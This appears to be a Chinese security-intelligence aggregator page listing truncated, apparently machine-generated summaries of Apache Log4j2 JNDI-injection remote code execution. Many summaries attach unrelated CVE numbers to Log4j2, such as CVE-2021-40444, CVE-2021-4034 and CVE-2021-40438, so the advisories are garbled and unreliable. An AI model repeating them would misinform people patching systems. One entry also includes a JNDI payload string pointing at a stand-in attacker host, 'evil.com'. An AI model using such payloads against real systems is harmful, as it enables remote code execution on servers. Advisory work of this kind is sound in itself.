目标: 1000 元 · 已筹: 1359 元
log4j
精选漏洞公告、利用分析、安全博客、GHSA Advisory 等情报来源，已自动清洗 + 中英双语呈现，持续更新。
# 漏洞总结：CVE-2021-41369 ## 漏洞概述 - **漏洞编号**：CVE-2021-41369 - **漏洞类型**：远程代码执行（RCE） - **受影响组件**：Apache Log4j2 - **漏洞描述**： - 该漏洞允许攻击者通过构造特定的日志消息，利用JNDI（Java Naming and Directory Interface）功能执行任意代码。 - 攻击者可以通…
### 漏洞概述 - **漏洞编号**: CVE-2021-44228 - **漏洞类型**: 远程代码执行（RCE） - **受影响组件**: Log4j2 - **漏洞描述**: 该漏洞允许攻击者通过构造特定的日志消息，利用JNDI注入功能执行任意代码。 ### 影响范围 - **受影响版本**: Log4j2 2.0-beta9 到 2.14.1 - **受影响系统**: 使用上述版本Log…
# 漏洞总结 ## 漏洞概述 - **漏洞名称**: CVE-2021-40444 - **漏洞类型**: 远程代码执行（RCE） - **受影响组件**: Apache Log4j2 - **漏洞描述**: 该漏洞允许攻击者通过构造特定的日志消息，利用JNDI（Java Naming and Directory Interface）功能执行任意代码。攻击者可以注入恶意JNDI查找字符串，导致服务…
### 漏洞概述 - **漏洞编号**: CVE-2021-44228 - **漏洞类型**: 远程代码执行（RCE） - **受影响组件**: Log4j2 - **漏洞描述**: Log4j2 在 JNDI 查找功能中存在漏洞，允许攻击者通过构造恶意日志消息触发远程代码执行。 ### 影响范围 - **受影响版本**: Log4j2 2.0-beta9 到 2.14.1 - **受影响产品**…
# 漏洞总结 ## 漏洞概述 - **漏洞名称**：CVE-2021-4034 - **漏洞类型**：远程代码执行（RCE） - **受影响组件**：Apache Log4j2 - **漏洞描述**：Log4j2 在处理 JNDI 查找时存在漏洞，攻击者可以通过构造恶意日志消息触发远程代码执行。 ## 影响范围 - **受影响版本**：Apache Log4j2 2.0-beta9 至 2.14.…
### 漏洞概述 - **漏洞名称**: CVE-2021-40444 - **漏洞类型**: 远程代码执行（RCE） - **受影响组件**: Apache Log4j2 - **漏洞描述**: 该漏洞允许攻击者通过构造特定的日志消息，利用JNDI（Java Naming and Directory Interface）功能执行任意代码。攻击者可以注入恶意JNDI查找字符串，导致服务器执行远程代…
# 漏洞总结 ## 漏洞概述 - **漏洞编号**: CVE-2021-4034 - **漏洞类型**: 远程代码执行（RCE） - **受影响组件**: Apache Log4j2 - **漏洞描述**: 该漏洞允许攻击者通过构造特殊的日志消息，利用JNDI注入功能执行任意代码。攻击者可以控制日志消息中的JNDI查找字符串，从而在目标服务器上执行恶意代码。 ## 影响范围 - **受影响版本**…
# 漏洞总结：CVE-2021-39217 ## 漏洞概述 - **漏洞编号**：CVE-2021-39217 - **漏洞类型**：远程代码执行（RCE） - **受影响组件**：Apache Log4j2 - **漏洞描述**： - 该漏洞允许攻击者通过构造恶意日志消息，利用JNDI（Java Naming and Directory Interface）功能执行任意代码。 - 攻击者可以通过…
### 漏洞概述 - **漏洞名称**: CVE-2021-40444 - **漏洞类型**: 远程代码执行（RCE） - **受影响组件**: Apache Log4j2 - **漏洞描述**: 该漏洞允许攻击者通过构造特定的日志消息，利用Log4j2的JNDI（Java Naming and Directory Interface）功能执行任意代码。攻击者可以通过发送特制的日志消息，触发JND…
### 漏洞概述 - **漏洞编号**: CVE-2021-41084 - **漏洞类型**: 远程代码执行（RCE） - **受影响产品**: Apache Log4j2 - **漏洞描述**: 该漏洞允许攻击者通过构造特定的日志消息，利用Log4j2的JNDI（Java Naming and Directory Interface）功能执行任意代码。 ### 影响范围 - **受影响版本**:…
### 漏洞概述 - **漏洞名称**: CVE-2021-44228 - **漏洞类型**: 远程代码执行（RCE） - **受影响组件**: Log4j2 - **漏洞描述**: 该漏洞允许攻击者通过构造特定的日志消息，利用Log4j2的JNDI功能执行任意代码。 ### 影响范围 - **受影响版本**: Log4j2 2.0-beta9 到 2.14.1 - **受影响产品**: 使用Lo…
根据提供的网页截图，以下是关于漏洞的关键信息总结： ### 漏洞概述 - **漏洞名称**: CVE-2023-35116 - **漏洞类型**: 远程代码执行 (RCE) - **受影响组件**: Apache Log4j2 - **漏洞描述**: 该漏洞允许攻击者通过构造特定的日志消息来触发远程代码执行。攻击者可以利用此漏洞在目标服务器上执行任意代码。 ### 影响范围 - **受影响版本**…
### 漏洞概述 - **漏洞编号**: CVE-2021-35927 - **漏洞类型**: 远程代码执行（RCE） - **受影响产品**: Apache Log4j2 - **漏洞描述**: Apache Log4j2 在解析日志消息时，如果消息中包含恶意构造的 JNDI 注入字符串，攻击者可以利用该漏洞执行任意代码。 ### 影响范围 - **受影响版本**: Apache Log4j2 …
# 漏洞总结 ## 漏洞概述 - **漏洞名称**：Apache Log4j2 远程代码执行漏洞（CVE-2021-44228） - **漏洞类型**：远程代码执行（RCE） - **漏洞描述**：Apache Log4j2 在解析 JNDI 日志消息时存在漏洞，攻击者可通过构造恶意日志消息触发远程代码执行。 - **影响版本**：Log4j 2.0-beta9 至 2.14.1 版本 ## 影响…
# 漏洞总结 ## 漏洞概述 - **漏洞名称**: CVE-2021-44228 (Log4Shell) - **漏洞类型**: 远程代码执行（RCE） - **漏洞描述**: Log4j2 在处理 JNDI 查找时存在漏洞，攻击者可以通过构造恶意日志消息触发远程代码执行。 ## 影响范围 - **受影响组件**: Apache Log4j2 2.0-beta9 到 2.14.1 版本 - **…
### 漏洞概述 - **漏洞名称**: CVE-2021-44228 - **漏洞类型**: 远程代码执行（RCE） - **受影响组件**: Log4j2 - **漏洞描述**: 该漏洞允许攻击者通过构造特定的日志消息，利用JNDI（Java Naming and Directory Interface）功能执行任意代码。 ### 影响范围 - **受影响版本**: Log4j2 2.0-be…
### 漏洞概述 - **漏洞编号**: CVE-2021-4034 - **漏洞类型**: 远程代码执行（RCE） - **受影响产品**: Apache Log4j2 - **漏洞描述**: Apache Log4j2 在版本 2.0-beta9 到 2.14.1 之间存在一个远程代码执行漏洞。攻击者可以通过构造特殊的日志消息，利用 JNDI 注入漏洞执行任意代码。 ### 影响范围 - **…
### 漏洞概述 - **漏洞编号**: CVE-2021-41014 - **漏洞类型**: 远程代码执行（RCE） - **受影响组件**: Apache Log4j2 - **漏洞描述**: Apache Log4j2 在解析日志消息时，如果消息中包含特定的 JNDI 注入模式（例如 `${jndi:ldap://evil.com/exploit}`），则可能触发远程代码执行。攻击者可以通过…
### 漏洞概述 - **漏洞名称**: CVE-2021-40444 - **漏洞类型**: 远程代码执行（RCE） - **受影响组件**: Apache Log4j2 - **漏洞描述**: 该漏洞允许攻击者通过构造特定的日志消息，利用Log4j2的JNDI（Java Naming and Directory Interface）功能，实现远程代码执行。攻击者可以注入恶意JNDI查找字符串，…
### 漏洞概述 - **漏洞名称**: CVE-2021-40438 - **漏洞类型**: 远程代码执行（RCE） - **受影响组件**: Apache Log4j2 - **漏洞描述**: 该漏洞允许攻击者通过构造特定的日志消息，利用Log4j2的JNDI（Java Naming and Directory Interface）功能执行任意代码。攻击者可以通过发送特制的日志消息，触发JND…
每篇文章经过自动 HTML→Markdown 清洗 + LLM 去噪 + 中英双语翻译。原始链接保留在文章末尾。
想看哪个安全博客 / 公告源？邮件告诉我们，每周新接 1-2 个。